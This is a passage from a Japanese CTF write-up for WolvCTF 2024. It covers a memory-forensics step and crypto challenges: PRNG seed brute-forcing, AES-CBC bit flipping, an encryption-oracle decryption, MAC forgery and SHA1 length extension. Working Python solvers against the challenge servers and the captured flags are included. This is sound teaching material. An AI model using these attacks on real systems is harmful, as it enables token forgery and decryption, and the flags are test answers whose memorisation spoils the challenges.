* 1804  1320    cGFzdGViaW4uY2  0xfa801a8de800  8       258     1       False   2024-03-09 11:54:49.000000      N/A     \Device\HarddiskVolume1\temp\cGFzdGViaW4uY29tL3lBYTFhS2l1.exe     "C:\temp\cGFzdGViaW4uY29tL3lBYTFhS2l1.exe"      C:\temp\cGFzdGViaW4uY29tL3lBYTFhS2l1.exe
* 1680  1320    cmd.exe 0xfa801a862060  1       19      1       False   2024-03-09 11:49:15.000000      N/A     \Device\HarddiskVolume1\Windows\System32\cmd.exe  "C:\Windows\system32\cmd.exe"   C:\Windows\system32\cmd.exe
* 1272  1320    iexplore.exe    0xfa801a983b30  11      381     1       True    2024-03-09 11:55:44.000000      N/A     \Device\HarddiskVolume1\Program Files (x86)\Internet Explorer\iexplore.exe        "C:\Program Files (x86)\Internet Explorer\iexplore.exe"         C:\Program Files (x86)\Internet Explorer\iexplore.exe
** 1284 1272    iexplore.exe    0xfa801a503b30  16      348     1       True    2024-03-09 11:55:45.000000      N/A     \Device\HarddiskVolume1\Program Files (x86)\Internet Explorer\iexplore.exe        "C:\Program Files (x86)\Internet Explorer\iexplore.exe" SCODEF:1272 CREDAT:71937        C:\Program Files (x86)\Internet Explorer\iexplore.exe
2568    2492    taskmgr.exe     0xfa801ac2db30  7       124     1       False   2024-03-09 12:05:33.000000      N/A     \Device\HarddiskVolume1\Windows\System32\taskmgr.exe      "C:\Windows\system32\taskmgr.exe"  /1   C:\Windows\system32\taskmgr.exe

あやしいプロセスがある。

cGFzdGViaW4uY29tL3lBYTFhS2l1.exe

拡張子を除き、ファイル名をbase64デコードする。

$ echo cGFzdGViaW4uY29tL3lBYTFhS2l1 | base64 -d
pastebin.com/yAa1aKiu

https://pastebin.com/yAa1aKiuにアクセスしたら、フラグが書いてあった。

wctf{v0lAt1l3_m3m0ry_4qu1r3D_a3fe9fn3al}

Limited 1 (Crypto)

スクリプトの処理概要は以下の通り。

・flag: 入力
・correct: 既知数値配列
・time_cycle: UNIXTIMEを整数値を256で割った余り
・flagの長さとcorrectの長さが一致しない場合エラー
・flagの長さだけ以下繰り返し(i)
 ・i+time_cycleをseedとしてセット
 ・correct[i]とflag[i]とrandom.getrandbits(8)のXORが一致しない場合エラー
・フラグを出力

time_cycle、256パターンのブルートフォースでフラグを復号する。

#!/usr/bin/env python3
import random

correct = [189, 24, 103, 164, 36, 233, 227, 172, 244, 213, 61, 62, 84, 124, 242,
    100, 22, 94, 108, 230, 24, 190, 23, 228, 24]

for time_cycle in range(256):
    flag = b''
    for i in range(len(correct)):
        random.seed(i + time_cycle)
        v = correct[i] ^ random.getrandbits(8)
        flag += bytes([v])
    if flag.startswith(b'wctf{'):
        flag = flag.decode()
        print(flag)
        break
wctf{f34R_0f_m1ss1ng_0ut}

Limited 2 (Crypto)

スクリプトの処理概要は以下の通り。

・flag: 入力
・correct: 既知数値配列
・flagの長さとcorrectの長さが一致しない場合エラー
・tm_yearが2024以上または2023未満の場合エラー
・tm_ydayが365でなく、366でない場合エラー
・flagの長さだけ以下繰り返し(i)
 ・time_current: UNIXTIME現在時刻の整数値
 ・i+time_currentをseedとしてセット
 ・correct[i]とflag[i]とrandom.getrandbits(8)のXORが一致しない場合エラー
 ・random.randint(1, 60)だけsleep
・フラグを出力

tm_yearは2023、tm_ydayは365または366である。つまり日付は2023/12/31または2024/1/1になる。UNIXTIMEは1703980800~1704153599の間になり、172800秒数分のパターンのブルートフォースでフラグを復号する。

#!/usr/bin/env python3
import random

correct = [192, 123, 40, 205, 152, 229, 188, 64, 42, 166, 126, 125, 13, 187, 91]

for time_current in range(1703980800, 1704153600):
    cur = time_current
    flag = b''
    for i in range(len(correct)):
        random.seed(i + cur)
        v = correct[i] ^ random.getrandbits(8)
        flag += bytes([v])
        cur += random.randint(1, 60)
    if flag.startswith(b'wctf{'):
        flag = flag.decode()
        print(flag)
        break
wctf{b4ll_dr0p}

Blocked1 (Crypto)

サーバの処理概要は以下の通り。

・MASTER_KEY: ランダム16バイト文字列
・username: "guest_ランダム100000以上999999以下"
・以下繰り返し
 ・s: 入力
 ・sが"1"の場合
  ・token: 入力
  ・verify(bytes.fromhex(token))が"doubledelete"の場合、フラグを表示
  ・verify(bytes.fromhex(token))が"doubledelete"以外の場合、usernameを表示
 ・sが"2"の場合
  ・generate(username)の16進数表記表示
   ・iv: 16バイト文字列
   ・msg: "password reset: {username}"
   ・msgの長さが16の倍数でない場合は"\x0"を16の倍数の長さになるまでパディングする。
   ・iv + 鍵:MASTER_KEY、IV:ivでAES-CBC暗号でmsgを暗号化したものを返却
 ・sが"3"の場合
  ・メッセージ表示
0123456789abcdef
password reset: 
guest_xxxxxxOOOO
平文1ブロック目 ^ iv              --(AES暗号)--> 暗号1ブロック目
平文2ブロック目 ^ 暗号1ブロック目 --(AES暗号)--> 暗号2ブロック目

暗号1ブロック目を以下のように変更して指定すれば、usernameが"doubledelete"になり、フラグが得られる。

新暗号1ブロック目 = guest_xxxxxxOOOO ^ 暗号1ブロック目 ^ doubledeleteOOOO
#!/usr/bin/env python3
import socket
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('blocked1.wolvctf.io', 1337))

target = b'doubledelete'
target += b'\0' * (16 - len(target) % 16)

data = recvuntil(s, b']\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
username = data.split(' ')[-1].encode()
username += b'\0' * (16 - len(username) % 16)
data = recvuntil(s, b'\n').rstrip()
print(data)

data = recvuntil(s, b'> ')
print(data + '2')
s.sendall(b'2\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

ct = bytes.fromhex(data)
ct1 = ct[16:32]
ct1 = strxor(strxor(username, ct1), target)
token = (ct[:16] + ct1 + ct[32:]).hex()

data = recvuntil(s, b'> ')
print(data + '1')
s.sendall(b'1\n')
data = recvuntil(s, b'> ')
print(data + token)
s.sendall(token.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

== proof-of-work: disabled ==
                 __      __
 _      ______  / /___  / /_ _   __
| | /| / / __ \/ / __ \/ __ \ | / /
| |/ |/ / /_/ / / /_/ / / / / |/ /
|__/|__/\____/_/ .___/_/ /_/|___/
              /_/
[      password reset portal      ]
you are logged in as: guest_481401

 to enter a password reset token, please press 1
 if you forgot your password, please press 2
 to speak to our agents, please press 3
 > 2
197f75faa9088d7f9d8cda74968b137a803ec4790420699bfb4a732c40abc617f8db39f46cdd676ceda664c420eb61e5
 to enter a password reset token, please press 1
 if you forgot your password, please press 2
 to speak to our agents, please press 3
 > 1
 token > 197f75faa9088d7f9d8cda74968b137a8324d4681c1a39c6a61b377840abc617f8db39f46cdd676ceda664c420eb61e5
wctf{th3y_l0st_th3_f1rst_16_byt35_0f_th3_m3ss4g3_t00}
wctf{th3y_l0st_th3_f1rst_16_byt35_0f_th3_m3ss4g3_t00}

Blocked2 (Crypto)

$ nc blocked2.wolvctf.io 1337
== proof-of-work: disabled ==
                 __      __
 _      ______  / /___  / /_ _   __
| | /| / / __ \/ / __ \/ __ \ | / /
| |/ |/ / /_/ / / /_/ / / / / |/ /
|__/|__/\____/_/ .___/_/ /_/|___/
              /_/
[          email portal          ]
you are logged in as doubledelete@wolp.hv

you have one new encrypted message:
fef05ad3ef9d67aa5e9253d50227333ff44d61c3d754857d50f6ba26763f6f627e1b9656e6c709a0d207de966b22dca6075ffe936e74ea90afbe31a307c32b7e38aea88edbbabae92e9e51c4f40eec848af45cc101400de2681e48b9ab83f62edca083f7bf472f05f66318967ace5d05b0c92bad84bc1a7f619c13eac7d9b4f3cddbc68b37a82e1057062a3f86a0058e83b715594491d73404d114f2fbd7d2d704b3d1848fc4d08870560fca452a7cd3abf9c56a8fa4e102efbf6f394a7827a83532d74060c009a155f664af989e7944efb84fce6809a25fee8b7d6288043a855044ead4645f1c027cb72c4566856bb84fc3f6fe385b195f477bfae0f1c91365da415f285d817193b5f6fd958ff2d5918d22f4c463c46da2dc65cb6f56d84a0c78778151266c013cdf0fee7e92dd2a47
 enter a message to send to dree@wolp.hv, in hex
 > 1234
message must be a multiple of 16 bytes long! don't forget to use the WOLPHV propietary padding scheme

サーバの処理概要は以下の通り。

・MASTER_KEY: ランダム16バイト文字列
・message: メッセージ
・encrypt(message)を16進数表記表示
・以下繰り返し
 ・s: 入力
 ・message: sをhexデコード
 ・encrypt(message)を16進数表記表示
  ・messageの長さが16の倍数でない場合エラー
  ・iv: ランダム16バイト文字列
  ・blocks: messageの16バイトごとの配列
  ・encrypted: [iv] + blocksの配列の各要素をAES ECB暗号化
  ・encrypted: encryptedの各要素とblocksの各要素のXOR(最後以外)
  ・iv + encryptedの結合したものを返却
iv0 --(AES暗号化)--> CT00 ^ PT01 …[1]
PT01 --(AES暗号化)--> CT01 ^ PT02 …[2]
PT02 --(AES暗号化)--> CT02 ^ PT03
        :
PT18 --(AES暗号化)--> CT18 ^ PT19
PT19 --(AES暗号化)--> CT19

messageにiv0を指定すると、以下のようなイメージで暗号化される。

iv1 --(AES暗号化)--> CT00_1 ^ iv0
iv0  --(AES暗号化)--> CT00

第2ブロックの暗号文と[1]の暗号文をXORしたらPT01が割り出せる。
同様にmessageにPT01を指定すると、以下のようなイメージで暗号化される。

iv2 --(AES暗号化)--> CT00_2 ^ PT01
PT01 --(AES暗号化)--> CT01

第2ブロックの暗号文と[2]の暗号文をXORしたらPT02が割り出せる。
これを繰り返すことによって元のメッセージを復号できる。

#!/usr/bin/env python3
import socket
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('blocked2.wolvctf.io', 1337))

data = recvuntil(s, b':\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
enc_msg = bytes.fromhex(data)
enc_blocks = [enc_msg[i:i+16] for i in range(0, len(enc_msg), 16)]

message = enc_blocks[0]
for i in range(len(enc_blocks) - 1):
    try_message = message[-16:].hex()
    data = recvuntil(s, b'> ')
    print(data + try_message)
    s.sendall(try_message.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)

    enc_block2 = bytes.fromhex(data[64:])
    message += strxor(enc_block2, enc_blocks[i + 1])

message = message[16:].decode()
print(message)

実行結果は以下の通り。

== proof-of-work: disabled ==
                 __      __
 _      ______  / /___  / /_ _   __
| | /| / / __ \/ / __ \/ __ \ | / /
| |/ |/ / /_/ / / /_/ / / / / |/ /
|__/|__/\____/_/ .___/_/ /_/|___/
              /_/
[          email portal          ]
you are logged in as doubledelete@wolp.hv

you have one new encrypted message:
48ba7db083d7ecc4cf0158007a3d207ecd0993314b73284cefa20f882a63443a287ba0f0930e3bbc2ad6ed886e140303636e079538cd5460f41e8e28c1f6f5b635e9594da13df1528fce83a849962c02111237ba4445c2d424617da728e3b947d5baac79055d2708a57f642edbcf370a70b488c67cf4ad53676cbb09a9425e97c5576699203fd07c4afc059d8d2d0c10864a30ef0388bd9563e1d710cabe0053376129a3996f34fa36324977e5cb30c1089dfc2f9182735f5033d3c453caa07fad9455bc62d0068244f3b66d035976aeec7e23d33ecc9da51e4ddea5c2b6cca053499e5365ca144d4f6239a97a4139a3ab04f51bcdc04a47ecfe6f3abaaed03c1118cfd1975d6c2529323a32951b098a8b8c15891a62eb4c8e6ac88e6fc43f2a875ae83da3e0a16554527440329bbec4
 enter a message to send to dree@wolp.hv, in hex
 > 48ba7db083d7ecc4cf0158007a3d207e
0fc55fe2caf1a3305e366428324b1c9f32e20a266d53f54f32dd534b8fd3b58cb961fc422e535f2383d47ced49432a5f
 enter a message to send to dree@wolp.hv, in hex
 > 74686f736520776f6c76736563206e65
3f849dcde2640dc82ff4d8c6cbc153da4b27f98865a20792fb3505e1206baf4f5a1fd3d0e16b5ad046afcdfc067d6d68
 enter a message to send to dree@wolp.hv, in hex
 > 726473207265616c6c79207468696e6b
5c57d42dfb2f9242a89957a0d8d5334d63255fae9df344081dc651ef19a310b5431a6ff041ea2605d43ce947ae92d5d7
 enter a message to send to dree@wolp.hv, in hex
 > 20746865792772652022676f6f642061
0dbecb3b896424d287ff43347c479d5c46f54b82eda84dfa3eafef4d70d8751941c92a28c248833bfbb7a18821e3442c
 enter a message to send to dree@wolp.hv, in hex
 > 7420736563757269747922206875682e
5b8e51647407f7dc975fe1edc9de0691ef68c1be1a72451947519844cbf68a363f3c17c8312bacbd4a065dd340869935
 enter a message to send to dree@wolp.hv, in hex
 > 2e2e2072756e6e696e67207468652072
f5e781a41b744aadd2d0b4a687db2e01d4937981a6a4e6d256cce2bdf9ef11f4b4d4df16682a467ac05f134fa8ef406b
 enter a message to send to dree@wolp.hv, in hex
 > 616e736f6d7761726520776173207761
8ef4cbc1f0a75d7f4c41e0b2404de26421099db10f9c112d5e62c74045b0dafc0994fca913d4c83214159529c06528f2
 enter a message to send to dree@wolp.hv, in hex
 > 7920746f6f20656173792e2069277665
278601ae6cf0d5d2ad914702b67132d1722fd231d8bf402f77f92195f5877b92e52216f54f5eb4192edc71f5e8447e30
 enter a message to send to dree@wolp.hv, in hex
 > 2075706c6f6164656420746865697220
503497104e7dc10b8c7a5d0fe35485f440d79222e8f1f5601127afed91fcb446e0235c8a70a8c9fa438ea262eacd6530
 enter a message to send to dree@wolp.hv, in hex
 > 66696c657320746f206f757220736563
e791615e4ae5767fd49ea2e5ebe1bcc83897e5552d3c5856392b5340c63d236742134c83ea1b5b8857552c5bc5a755b5
 enter a message to send to dree@wolp.hv, in hex
 > 7572652073746f726167652c206c6574
c64d3bf570373167d92e990dbec46195735d1d0e81a8931c43f4897ed785a59828f0990ffaec1c287044bba13dead910
 enter a message to send to dree@wolp.hv, in hex
 > 206d65206b6e6f77207768656e20796f
cb8637f46c67ae224e3459abbc77eab923c62325565f36ba5d3e3a04a7e79279d8b43ddd14b526f62c96db672e3d19db
 enter a message to send to dree@wolp.hv, in hex
 > 752068617665207468656d0a2d646f75
827aca31430d5f1831c051634e5f0bb90222e0dfc902fe449bd6d5a6f10438a88e1246b75ba0f8d17b0da9caaec6e2c8
 enter a message to send to dree@wolp.hv, in hex
 > 626c6564656c65746540776f6c702e68
65a96d0cd7e5aae8edb61c59a4ee99a677cc1e31608ec286788c55e383bbf4c42543e93011ac6f3e7f0f0af61d7109c7
 enter a message to send to dree@wolp.hv, in hex
 > 760a776374667b73306d335f67303064
82ba1f40ca80cb5683f82a7cc3f74e26a370ff02171f62e4b7596dca2e72aee5f477c678b8b27b3395a1160acff1b808
 enter a message to send to dree@wolp.hv, in hex
 > 5f73336375723174795f7930755f6834
6ae294559a9d2cdbf4e1459cb8dc428cd2c0906f4cb3c86e203fb886c142928a672b90a3a731004c4755654ba56e7bd5
 enter a message to send to dree@wolp.hv, in hex
 > 76335f72306c6c696e675f793075725f
b0fde87710b6126fcb10cf098e3dff4eb830a82e24c9befcdac5460027f2fe9dbbfb7bd67910923cfa5a97e61aac4220
 enter a message to send to dree@wolp.hv, in hex
 > 30776e5f6372797074305f6875687d0a
d54f09eb0eb8f3edd14e28df6f7e7b0590dddedea6674c615f7f9c7ff72ab9f9875ae83da3e0a16554527440329bbec4
those wolvsec nerds really think they're "good at security" huh... running the ransomware was way too easy. i've uploaded their files to our secure storage, let me know when you have them
-doubledelete@wolp.hv
wctf{s0m3_g00d_s3cur1ty_y0u_h4v3_r0lling_y0ur_0wn_crypt0_huh}
wctf{s0m3_g00d_s3cur1ty_y0u_h4v3_r0lling_y0ur_0wn_crypt0_huh}

TagSeries1 (Crypto)

サーバの処理概要は以下の通り。

・MESSAGE = b"GET FILE: flag.txt"
・QUERIES = []
・BLOCK_SIZE = 16
・KEY: ランダム16バイト文字列
・以下3回繰り返し
 ・command: 入力
 ・tag: 入力
 ・commandがQUERIESにあったら、command入力からやり直し(回数は減る)
 ・commandの長さが16で割り切れない場合、command入力からやり直し(回数は減る)
 ・result = oracle(command)
  ・commandのAES-ECB暗号の最後の16バイトを返却
 ・commandがMESSAGEから始まりtagがresultと一致する場合、フラグを表示
 ・commandがMESSAGEから始まらないかtagがresultと一致しない場合
  ・QUERIESにcommandを追加
  ・resultを表示

MESSAGEの先頭16バイトを除いても、tagは同じになることを使って、条件を満たすようにする。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

MESSAGE = 'GET FILE: flag.txt'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('tagseries1.wolvctf.io', 1337))

data = recvuntil(s, b'\n').decode().rstrip()
print(data)

command = MESSAGE[16:]
command = command + '#' * (16 - len(command) % 16)
print(command)
s.sendall(command.encode() + b'\n')
tag = b'1' * 16
print(tag)
s.sendall(tag + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

tag = data
command = MESSAGE
command = command + '#' * (16 - len(command) % 16)
print(command)
s.sendall(command.encode() + b'\n')
print(tag)
s.sendall(tag + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

== proof-of-work: disabled ==
xt##############
b'1111111111111111'
b'Q,V\x03(\x1cD\x94\t?<\xdeu\xb1\x85o'
GET FILE: flag.txt##############
b'Q,V\x03(\x1cD\x94\t?<\xdeu\xb1\x85o'
b'wctf{C0nGr4ts_0n_g3tt1ng_p4st_A3S}'
wctf{C0nGr4ts_0n_g3tt1ng_p4st_A3S}

TagSeries3 (Crypto)

サーバの処理概要は以下の通り。

・MESSAGE = b"GET FILE: "
・SECRET: ランダム1200バイト文字列
・SECRET + MESSAGEのsha1の16進数表記を表示
・command: 入力
・hash: 入力
・commandがMESSAGEから始まり、commandに"flag.txt"が含まれていたら、以下を実行
 ・SECRET + commandのsha1の16進数表記がhashと一致していたら、フラグを表示

以下の情報がわかっている。

・SECRETの長さ
・SECRET + MESSAGEのsha1
・commandに含めるべきデータ
・SECRET + MESSAGEのMESSAGE

Hash Length Extension attackで条件を満たすデータを取得し、送信する。Pythonのhashpumpyは1200近くになると正しく算出できない。https://github.com/iagox86/hash_extenderを利用してみる。

#!/usr/bin/env python3
import socket
import subprocess

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

MESSAGE = 'GET FILE: '
sec_len = 1200
command_part = 'flag.txt'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('tagseries3.wolvctf.io', 1337))

data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)
msg_hash = data


cmd = ['./hash_extender', '--signature', msg_hash, '--data', MESSAGE,
    '--secret', str(sec_len), '--append', command_part]
ret = subprocess.check_output(cmd).decode().rstrip()
hsh = ret.split('\n')[12].split(': ')[1]
command = ret.split('\n')[13].split(': ')[1]
command = bytes.fromhex(command)

print(command)
s.sendall(command + b'\n')
print(hsh)
s.sendall(hsh.encode() + b'\n')
data = recvuntil(s, b'}')
print(data)

実行結果は以下の通り。

== proof-of-work: disabled ==
e9761821a6eecdd9690486083046dce8afe9ef0e
b'GET FILE: \x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00%\xd0flag.txt'
03eb5cfe8e754486f96a13f0e99e59562e8b0cc4
wctf{M4n_t4er3_mu5t_b3_4_bett3r_w4y}
wctf{M4n_t4er3_mu5t_b3_4_bett3r_w4y}

Feedback Survey (Misc)

アンケートに答えたら、フラグが表示された。

wctf{th4Nk5_f0R_pl4y1ng!}